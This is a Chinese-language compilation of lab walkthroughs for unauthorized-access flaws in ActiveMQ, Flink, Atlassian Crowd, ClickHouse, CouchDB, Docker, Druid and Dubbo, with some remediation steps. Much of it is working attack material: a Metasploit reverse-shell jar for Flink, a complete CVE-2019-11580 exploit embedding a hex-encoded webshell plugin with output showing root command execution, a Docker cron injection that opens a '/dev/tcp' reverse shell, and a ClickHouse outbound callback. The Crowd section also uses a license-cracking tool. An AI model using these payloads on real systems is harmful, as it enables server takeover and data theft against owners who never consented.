未授權漏洞大賞

ActiveMQ未授權訪問漏洞

漏洞描述

Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集群、Spring Framework等。
Apache ActiveMQ管理控制臺的默認管理用戶名和密碼分別為admin和admin,用戶可以未經授權使用默認憑據直接訪問服務器,導致敏感信息泄露,并進一步進行攻擊。

環境搭建

Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz

[root@localhost bin]# ./activemq start
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')

Vulnerability Reproduction

直接訪問:http://192.168.32.183:8161/admin/queues.jsp

修復方案

編輯 ${ACTIVEMQ_HOME}/conf/jetty.xml開啟身份驗證,將authenticate屬性改為true:

<property name="authenticate" value="true" />

編輯文件conf/jetty-realm.properties來更改Apache ActiveMQ的默認管理用戶名和密碼,格式如下:

重啟服務就可以進行鑒權

Apache Flink未授權訪問漏洞

漏洞描述

Apache Flink Dashboard默認沒有用戶權限認證,攻擊者可以通過未授權的Flink Dashboard控制臺直接上傳木馬jar包,可遠程執行任意系統命令獲取服務器權限。

環境搭建

測試版本:flink-1.15.1

修改flink-1.15.1/confflink-conf.yaml,將8081端口開啟。

啟動flink

start-cluster.sh

漏洞利用

訪問web頁面。

利用msfovenom生成rce.jar

┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes

配置msf監聽

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

在Submit New Job處上傳rec.jar文件,點擊submit。

成功getshell。

Atlassian Crowd 未授權訪問漏洞

CVE-2019-11580

漏洞概述

Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些發行版本中錯誤地啟用了了pdkinstall開發插件,使其存在安全漏漏洞洞。攻擊者利用該漏洞可在未授權訪問的情況下對Atlassian Crowd和Crowd Data Center安裝任意的惡意插件,執行任意代碼/命令,從而獲得服務器權限

影響版本

  • 2.1.0 <= version < 3.0.5
  • 3.1.0 <= version < 3.1.6
  • 3.2.0 <= version < 3.2.8
  • 3.3.0 <= version < 3.3.5
  • 3.4.0 <= version < 3.4.4

環境搭建

下載搭建Atlassian-crowd-3.4.3,配置漏洞環境,下載crowd3.4.3的版本

wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip

修改配置文件

[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties

更改主目錄的路徑

啟動crowd

[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh 
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME:        /usr
Using CLASSPATH:       /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID:    /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.

訪問8095端口

得到服務器 id B1DP-2T7V-FIPR-PEBO 后通過破解程序atlassian-agent.jar獲取許可證信息

生成破解碼

[root@localhost tmp]# java -jar /opt/atlassian/atlassian-agent.jar -d -m test@test.com -n test.cn -p crowd -o http://192.168.32.183:8095 -s B1DP-2T7V-FIPR-PEBO ====================================================
=======     Atlassian Crack Agent v1.3.1     =======
=======           https://zhile.io           =======
=======          QQ Group: 30347511          =======
====================================================Your license code(Don't copy this line!!!): AAABoQ0ODAoPeJxtUU1v4jAUvPtXRNpzgh1KPpAsbZsYLd18LdAeuJnwaLwkDnIcCvz6JiRopVUvt
jRjv5k382PTgvHalobtGBjPiT/HrsHCjWFj20aBAq5FLUOugfaIiV3TdhA787K9M/TAywZQCE2ux
OmOvMlSVELD3ihFDrIBY3c1Cq1PzXwyuRWiBEvUKFUfXIpmGNKzHUl82yKOZ027y5vOPezPUK7qz
70VDZM21xMkvAIapHHMVsHyORofrDVXGtRoJ6il5rlmMRcl1dDon/1h5XWFRk+/eFPQOPgMFiE5y
lqz/Xa2Za/xkXHnskicJ3ebV8/FH5Jx6YC6pW01+ZveDgW/2NHNW11+f1CKuvlSg+QyB3Y5CXUdg
/L8PijsotH3MqTRMlyzxIyIM/O6xciTS3xvNN9ZFWegWrWA1qDOoLoPLyTMTHvjvpuLZbYyM/aSo
iNc30E1fWTEwdjF3nRKHiLfO8halRe8gf8rHJQ7lAcg++Tu6gOatNUOVHp4azoxapJHaA9tG63b3
b/CB98sod8sODZxL23oQH4BfpvL4jAsAhQt6OiEcmsu5eD6OZo5HBm8DIwpLwIUN7XS/JQ44Zrlu
tReQFf42Id/W0E=X02k4

安裝完成

漏洞利用

CVE-2019-11580.py利用腳本

import requests
import sysbanner = '''\n   _______      ________    ___   ___  __  ___        __ __ _____  ___   ___  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____|/ _ \ / _ \ | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____   \  /  | |____    / /_| |_| || |  / /       | || |___) | (_) | |_| |\_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ \___/ \___/ \npython CVE-2019-11580.py http://xx.xx.xx.xx\n
'''
print bannerdef is_url(url):upload_url = url + "/crowd/admin/uploadplugin.action"r = requests.get(upload_url, verify=False)if r.status_code==400:print upload_urlsend_poc(url)else:print "No Exit /crowd/admin/uploadplugin.action !"def send_poc(url):url_vuln = url + "/crowd/admin/uploadplugin.action"headers = {'User-Agent': 'curl/7.29.0','Accept': '*/*','Content-Length': '5739','Expect': '100-continue','Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7'}s ="2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c655f63646c223b2066696c656e616d653d227263652e6a6172220d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a0d0a504b03041400000008007c7ef14e544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c55540900039bd32e5da8d32e5d75780b0001040000000004000000007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a00000000001b7ff14e00000000000000000000000004001c00636f6d2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a00000000001b7ff14e00000000000000000000000008001c00636f6d2f63646c2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a0000000000d07df14e0000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f555409000357d22e5d59d22e5d75780b000104000000000400000000504b03041400000008008878f14ec2481cb07d0100008d03000016001c00636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540900036fc82e5dbdc82e5d75780b0001040000000004000000008d934d4fc3300c86effd15a617523e22384f3d21049c400c890b97909a35903621714711da7fc75187e8b60ee14395da799fbcb15baff49b5a2068d7485d59196bb4769665a6f12e10bcaaa5ea65c4b0b448b226f2f268362e4ae3e44deb3b9a5340d5b0d277cfd668d056c508179505ec09db2a4eb1aef9311f12f09565c0b1962f9da9a072574862b4e91edf3b8c0401df4f60231fbd6b237221164c827550f81cbda5609ba65d806eaa7258caa5b21ddebe0866ca05d29d0aaa41c220f28ba6ca8b6236a5771df19dcb3cdfacee9e97c2bc8038e01325bb57368a9ca913db52dc05a791fbe6cbfbae25d360b2b45e8a42628f5a3069cbd44f8c06911c963ea94749f10f1d8630e82e4370e16f9d69097479f87476385dffa88d45104297ec4632a9127cf383124ecff73520050f3119780c268da1901f69c1945a8542efb1b2dac96e6656a015e95a5cf61a3d19d7f26739e56118ec71993fb5f931f692dc30f1ed16fcd227c8db60949e19dc61fed91e82d238a60da45596adb26f504b030414000000080085b2f04ecafaf82fe50000000418000017001c00636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540900031add2d5d09df2d5d75780b000104000000000400000000ed98316ec2401045ff382e564ab365ca2da922e5062b0305752e100815b2e42aa95d71176ec1cdc0667e0292b1945444e13f69f40acf8cd7cdee8e0158f5b17e0122800037b6b84a600c2868f3e87a6cb0c427968bba79bfde6b809d9a4fb1468de7cbfa55ddacb8b05d1793c3891f7615420821c418e60a8fb75d8610e20fd2ef0f89ce74eb363e2fe8f2a226d289ce74eb36e6157449073ad289ce74ebe6a6651c3e8c6f364e2816e944e75f7db21077c3832bf6e7ff1ca3f3bf10e21f63e5ec7556e17b2018d09fb5a98b37e6ecbf0a472e0285ff307cc2392fd1996eddba0c08710b8e504b0304140000000800b178f14ed0054a4648030000fa05000017001c00636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554090003bdc82e5d09df2d5d75780b0001040000000004000000008d545d7b1345147e274d32dbedf62ba594fa010202295016152b2608d852a05ad2d214b0f8b9dd8c6571b39b6e26b5fa33bcf4c6cb5e7313409fc71fe02ff12f78637d674925ad7da479f63967e6cc39ef79cf999cf9e3ef5f7f077009be8d31142d4cf4e12cced9388f490b178c766d5cc43b46bc6be33d5c32e27d1b53f8a00f97f1a18d12ca1257243eb23188a211572d5cb33180eb6673ddac3e9698969811c85f09a2405f15e8294edc17c8cec4352530381f44aad2aaafaa64d95b0d69c9d5e25b4a0b2c15e71f7b1bdea6db54c946a8b4fb48eb867b9ba2fac2b0a4d65baaa9cbaf746b36e2a8a9ca266b7f557bfe7777bc469a2ca576436256e2a6c42d89db2c47c0aec6adc457370343c79aa985174c060747304ef633f51a831ccce1138639f814f302707007158905078bb8eb600955023a58c63d07f7718fd00e1ee033e672b08287129f3bf8025f0a8c186c37f4a2357776d3570d1dc491c0d84b6b552741b436dd0ac29a4a1c7c85af0584ede01b90d2aaa134ecc775d7af856ef3910a439784058efe7f53044e1da8b902a70fd65d81a1bd9449eca56931897dd56ceed41bc4ee5cd468697a2aaf2ee0ac29bde8255e5d699530e98bbbef462b4ffcd7242037bcb0a516bedd13b2b0fa58f97aff903c2bf3423219dd2fe2e12ed64bad480775166793dfbf9bd1623770c74ce4acda54bec0995790efb482010344ddd586b11de4ddfde9b8ce26499cecb866a96ae930cd09f4f2f44112a4bdebc65864f2ce41b9abf55d66cedbf76641c0e29c9990bcd768a888c89307ba83ceff92e8968e77eefd5071dfce0f364cde74029713cf57388ec37c7bcc2f0361c68bf235eedea4e64c2177f629c4132e045ea7cca74623df485de82a8a0ceda5f5c77385cc73f464f00cd94a2157ca4e16726de47fc6e56790936d58a5dc380dbda5bc517649f64c59e3f936fa56a6accc2f289c7f0e87376bfdd446ffd6f69f5b3859cafd86c195a7181acfb6315c285098d011ea360e95b25bb02a041e7d420643a8e02e1f3b601d9a3a93f29da61db0f936f471d5cff2067082efe204771731ccd7b4806b1861ec11461f4695cd5867a4a6678bd5fdc03a8f12e106f2db74ee953826f196c4718913e97752e26d7eecca36dd737bce615eb7537fe1985159f6eb74dae833ff00504b030414000000080080b2f04e5e4c2ce8970100000418000011001c00636f6d2f63646c2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32a61063e460e28e5c4c3cecb0c5cd1d8c09c179d8cd04a387693618c491205d06932862780d7d239fc0c751fe7c1ad0ede06953fb4b9a5f295f5b0aa4a500005167661340020001727322cc45c0f40d0ecd2789646d383d878e0c871af35b62ac1ce9b3ab820763b0c0293dbff495384cd2de5b46165d8834026f82912fc6c4b13dbfd178255c85afaead0ba228889be29536a681e6ebfecc53f5693f3d3ad5fdb181f9334a9dcfbc6e9cdb563090b68fa9ebebb66b4db3cab66925219717b66bd240a533d7f4fa8513594703a91686ad76bb2eb7daada82e879d4e23c9ef1f449128ecec368f7ac39bbbfbf0217a7ccac74c080e7eebcbcd782e0fd1f4468e915c242917df6a53d7a1ee35646f3d83c160fc4270f61236967b190c06630549e70719ada0e3dc04cf7368be504742cb68051de72618c7a179b48096d0325a41c7b971d222b8f920d833c11d0a91d0325af9d190198c7f43259794aeff278bf7ff0c06e30f43f8aed65561f1ef8c74ad959334fca800e50f012ce331365d8a6b857219ada0e3dcec4380c15816ef504b030414000000080080b2f04e7261dc5f94010000041800000d001c00636f6d2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32548831723071472e261e76d8e2e60ec684e03cec6632a3876936188b2341ba0c2651c4f01afa463e818fa3fcf9749bba83a7e9fc7e49f32be52b6d81b4140060fad8aa00280020416e41866f91307d41408b4962e93578cf74b8899723fe02e9b32b400f2c709aceccf33b48d2ee6b4616895166e00d31ead91c3ab6e797cb2f4c28882bab6b922c4bf2867cd91af0a0e51bfed8d38d513b3d3a31fc8189f953ce9d8fbc619ed9fda0a36c1d71d7376cb73fca2adb563f09b938b75d8b073a1fbb96d79e3a9135d4518a6158add54a6ab5568d4a6a58af9793fcde7e14c9d2f64ee5b0d9bdbebd0befa387c77cac8ce1a0373fdd84a7c9f02cafe7984907d9a4e8a635721dee5e41f6961304412c01389b49eb8bed064110bf90747e50d11a3acecdf0bc8016a7ea286815ada1e3dc0ce304b48896d00a5a456be838374e5a0c371f0c5b66b84361b8f5602a5afbd19009e2df50c8a5a4ebfff1fcfd3f41104b0c131bad860ef37f6fa46bad9aa4ee7b0598fd10c0321163d3a5b83855aea235749c9b3e04086251bc01504b0304140000000800b57df14ef98bc46d88010000c303000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a617661555409000326d22e5d57d22e5d75780b0001040000000004000000008d53c14ee33010bde72b865c702818f65cf98880130856e2c2c5eb0c8dc1898d3d2941abfe3b63d2d5a66d58ed93123933f39edf4ceca0cdab5e2118df4a533b991a746e5914b60d3e12bce8b51e64c2b87648b2210af264394d4aebe54d177a7aa088ba6566e87f396bc0389d12e010f821ecea34a775cdaf873100bf8b02185bfadadb1a6a7f85242645f7f8d6632288f8760a3bf1147c979013a96225d882e2c7e42b836dda6e05a6add5b8946bed7abc7d16ac295748773aea1609a328b9a8acaae51cdff7c43dabb2dccd9e9fb381acf2186d96a8e47b5e7c492946098bbcf59ee6a1cb0cfb0ce2888b25f7ac5d12257b9929cbb88bde204f3ba8fbbe23db62b6b05db2071cd088c36dff60f2fb725f2a64f62428fe8387318ebccb187dfc37cf7604461d3f5d1ccfe7df1beb1084308add4856aa05777ea4e0ecc77703c8989fbc308d8e95f9c6cae620ba1bd980d1641a7139180c647dc78779cec3781c16aa7ceaca050e92fc784ef647f0577d46795f1865600d9e305fd19f511b9caa8d4a9ba2d8149f504b03041400000008005a7ff14e3ac5f9ef48030000fa05000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c61737355540900033bd52e5da8d32e5d75780b0001040000000004000000008d54db76d34614dde3d81e451171e2244ddd0b1428e00041bdd094da14682040dae084385c02f4a2c8d3202a4b8a2ca7693fa38f7de9639e793197aed50fe897f417fad2748f708a936641bcb4ce191d9db3cf3e7b3cf3e73fcfff007016ae8971940d4c0ce0244e99388d490367b4b74d7c800fb5f9c8c4c738abcd2726a6f0e900cee13313155425ce4b7c6ea280b236170c5c3431884bfae5925e7d21312d7159207fde0bbce482405f79e2b640f672d8500285392f50b5767345c54bce8acf48ae115e5389c06279ee91b3ee6cd82d15affb2ab11f2649645fa7a9bf082caab5b66a25d5d7a6b5a23068a9aaee7aa09e38ee0f379c286d9652bb2231237155e29ac4758e2360d6c376ecaaab9ea663a88de88cee60e14d94c8de6d36586461165fb2ccc257981380851ba849cc5b58c04d0b8ba813d0c2126e59b88d5b84b6700777d9cbc232ee49dcb7f0005f0b8c686cdb7782557b66c35551e28581c0f8cb683d89bd6075baedf90d155bf806df0a08d3c27720a5154d69d80d9bb6dbf0edd643e5fb36090b1c7cb52802c7f625aec0f1fda92b30b49b3289bd0c2dc4a1ab5aaded79bdd09e0da276c24ce53405ac55952c38b1d354898ad9f4c5def7a25527fe1f1290eb8edf56f3dfef2a995f79a4dc64ef923c27737c3219dbabe2de0ed68bed20f19a1cce24bfff5ec6cabdc0dd3091b36a43b902275e43be2b050b0689ba4386f16de49dfa745367e2388cb753b3748df430cd0af4f3eb9dd84bb5ebc55860f3ee876a8ff43d619eb71ff58280e5597d42f24e14a980c893fbda83eeff92e846126eeffb68794fe50b91ee9b9ec0a5d871150ee30dde3dfa9781d0c78bf62dbebd4bcf3385dcc927108fb910789b369f06b57d274d61aa28b3b49fd19f4f1533cfd097c153646bc55c253b59cc7590ff15e79e424e766054722506fa2b79edcc8aec9b324af90e0696a78ccc6f289e7e068b3b6bfcd2c181cdadbf3671b492fb1d85e527182a653b182e166974e9087d07a395ec268c1a81c71e93c1106ab8c9cb0e5843429f49f94e330e98bc1b06b81ae478051ce16a02c3bc538bbc4d477011a3ac2db17a1c754ab0c6d9124ed626c24f9cf22011ae20bfc5e47e894312ef491c9638923e4725dee74355b65892dbf51dfa763bf6370e6997a55ec753a14ffc0b504b01021e031400000008007c7ef14e544c2527eb00000004020000140018000000000001000000ed810000000061746c61737369616e2d706c7567696e2e786d6c55540500039bd32e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000040018000000000000001000ed4139010000636f6d2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000080018000000000000001000ed4177010000636f6d2f63646c2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a0000000000d07df14e0000000000000000000000000e0018000000000000001000ed41b9010000636f6d2f63646c2f7368656c6c2f555405000357d22e5d75780b000104000000000400000000504b01021e031400000008008878f14ec2481cb07d0100008d030000160018000000000001000000ed8101020000636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540500036fc82e5d75780b000104000000000400000000504b01021e0314000000080085b2f04ecafaf82fe500000004180000170018000000000000000000a481ce030000636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540500031add2d5d75780b000104000000000400000000504b01021e03140000000800b178f14ed0054a4648030000fa050000170018000000000000000000a48104050000636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554050003bdc82e5d75780b000104000000000400000000504b01021e0314000000080080b2f04e5e4c2ce89701000004180000110018000000000000000000a4819d080000636f6d2f63646c2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e0314000000080080b2f04e7261dc5f94010000041800000d0018000000000000000000a4817f0a0000636f6d2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e03140000000800b57df14ef98bc46d88010000c3030000160018000000000001000000a4815a0c0000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000326d22e5d75780b000104000000000400000000504b01021e031400000008005a7ff14e3ac5f9ef48030000fa050000170018000000000000000000a481320e0000636f6d2f63646c2f7368656c6c2f6578702e636c61737355540500033bd52e5d75780b000104000000000400000000504b0506000000000b000b00bf030000cb11000000000d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561372d2d0d0a"data = s.decode("hex")r = requests.post(url=url_vuln, headers=headers, data=data, verify=False)if r.status_code ==200 and "Installed" in r.content:printprint r.contentgetwebshell(url)else:print  "No Exit!"
def getwebshell(url):webshell_url = url + "/crowd/plugins/servlet/exp?cmd=whoami"r = requests.get(webshell_url, verify=False)if r.status_code==200:print ">>>Get Webshell\n"print webshell_url+'\n'print "Exec command= whoami\n\nResult= %s"%r.textif __name__ == '__main__':url = sys.argv[1]is_url(url)
[root@localhost CVE-2019-11580-master]# python CVE-2019-11580.py http://192.168.32.183:8095_______      ________    ___   ___  __  ___        __ __ _____  ___   ___  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____|/ _ \ / _ \ | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____   \  /  | |____    / /_| |_| || |  / /       | || |___) | (_) | |_| |\_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ \___/ \___/ python CVE-2019-11580.py http://xx.xx.xx.xxhttp://192.168.32.183:8095/crowd/admin/uploadplugin.actionInstalled plugin /opt/atlassian-crowd-3.4.3/apache-tomcat/temp/plugindev-7114709723171005763rce.jar>>>Get Webshellhttp://192.168.32.183:8095/crowd/plugins/servlet/exp?cmd=whoamiExec command= whoamiResult= root

然后訪問獲取的shell地址,無需認證登錄即可獲取IP地址。

clickhouse 未授權訪問漏洞

漏洞描述

惡意攻擊者可以在不提供有效憑據的情況下訪問 ClickHouse 服務器。這可能導致未經授權的訪問敏感數據,或允許攻擊者修改或刪除數據。默認情況下,clickhouse-server會在8123端口上監控HTTP請求(這可以在配置中修改)。

環境搭建

sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \/etc/apt/sources.list.d/clickhouse.list
sudo apt-get updatesudo apt-get install -y clickhouse-server clickhouse-clientsudo service clickhouse-server start
clickhouse-client

漏洞復現

首先確定是否使用了 ClickHouse 數據庫的接口

curl http://192.168.0.5:8123

根據文檔得知,正常返回為 Ok. , 且存在 X-ClickHouse-Summary 作為返回包的 Header

測試是否可以執行SQL命令, 部分會開啟身份驗證導致未授權執行失敗

/?query=SHOW%20DATABASES

成功執行語句獲取數據,執行其他命令探測出網

http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203;

可以查看 system庫中的執行記錄表來獲取最近執行的所有SQL語句來快速定位可利用的信息(獲取敏感用戶信息,數據庫名以及數據表名)

CouchDB未授權訪問漏洞

漏洞描述

CouchDB因配置不當可以未授權訪問,被攻擊者惡意利用。

攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意清空所有數據。

漏洞搭建

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md

使用docker-compose啟動。

cd couchdb/CVE-2017-12636/
docker-compose up -d

漏洞利用

訪問5984端口,就可以看到版本信息。

訪問/_config接口,可以看到couchDB配置信息。

Docker未授權訪問漏洞

漏洞描述

惡意攻擊者可以在未經授權的情況下訪問 Docker 服務器或容器。這可能導致敏感數據泄露,或允許攻擊者執行未經授權的操作,如添加、修改或刪除容器。

環境搭建

安裝docker

yum install -y docker

修改/usr/lib/systemd/system/docker.service服務,啟動API接口。

ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

重啟docker服務。

systemctl daemon-reload
systemctl restart docker

漏洞復現

輸入ip:2375/version就會列出基本信息,和docker version命令效果一樣。

利用docker容器寫定時任務反彈shell

我們可以利用未授權訪問的docker remote api 開啟一個容器并掛載至根目錄,由此我們可以獲得任意讀寫的權限,然后我們再將反彈shell命令寫入定時任務crontab中,即可使宿主機反彈shell。

[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh

寫入定時計劃

/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root

安全加固

在不必需的情況下,不要啟用docker的remote api服務,如果必須使用的話,可以采用如下的加固方式:

設置ACL,僅允許信任的來源IP連接;
設置TLS認證,官方的文檔為Protect the Docker daemon socket

客戶端與服務器端通訊的證書生成后,可以通過以下命令啟動docker daemon:

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

客戶端連接時需要設置以下環境變量

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

druid 監控頁未授權訪問漏洞

漏洞簡介

Druid是阿里巴巴數據庫出品的,為監控而生的數據庫連接池,并且Druid提供的監控功能,監控SQL的執行時間、監控Web URI的請求、Session監控,首先Druid是不存在什么漏洞的。但當開發者配置不當時就可能造成未授權訪問.

環境搭建

pom.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.3</version><relativePath/> <!-- lookup parent from repository --></parent><groupId>com.example</groupId><artifactId>demo</artifactId><version>0.0.1-SNAPSHOT</version><name>demo</name><description>Demo project for Spring Boot</description><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.1</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-resources-plugin</artifactId><version>3.1.0</version></plugin></plugins></build></project>

application.properties配置

#數據庫連接
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai
spring.datasource.username=sec
spring.datasource.password=sec123##啟用StatFilter
spring.datasource.druid.web-stat-filter.enabled=true#啟用內置的監控頁面
spring.datasource.druid.stat-view-servlet.enabled=true

漏洞復現

直接訪問druid/index.html

可以通過session功能進行偽造用戶進行登錄

修復方法

禁用durid

application.properties配置

spring.datasource.druid.stat-view-servlet.enabled=false
spring.datasource.druid.web-stat-filter.enabled=false

設置鑒權

#設置登錄用戶名
spring.datasource.druid.stat-view-servlet.login-username=admin
#設置登錄密碼
spring.datasource.druid.stat-view-servlet.login-password=123

修改路徑

##內置監控頁面的地址
spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/*

Dubbo 未授權訪問漏洞

漏洞簡介

Dubbo是阿里巴巴公司開源的一個高性能優秀的 服務框架,使得應用可通過高性能的 RPC 實現服務的輸 出和輸入功能,可以和 Spring框架無縫集成。dubbo 因配置不當導致未授權訪問漏洞。

環境搭建

git clone https://github.com/alibaba/dubbo/tree/2.5.x

進入dubbo-2.5.x 目錄

執行mvn clean package -Dmaven.test.skip=true會生成如下結果

dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target目錄會發現生成了dubbo-monitor-simple-2.5.10-assembly.tar.gz,解壓這個文件夾

查看配置文件,會看到dubbo協議端口為7070

[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log

啟動dubbo

[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh

漏洞利用

nc連接7070端口,7070端口允許您執行各種管理任務,如查看注冊表的狀態、列出可用服務和查看注冊表的日志級別。

[root@localhost dubbo-monitor-simple-2.5.10]# nc 127.0.0.1 7070
ls
com.alibaba.dubbo.monitor.MonitorService
dubbo>help
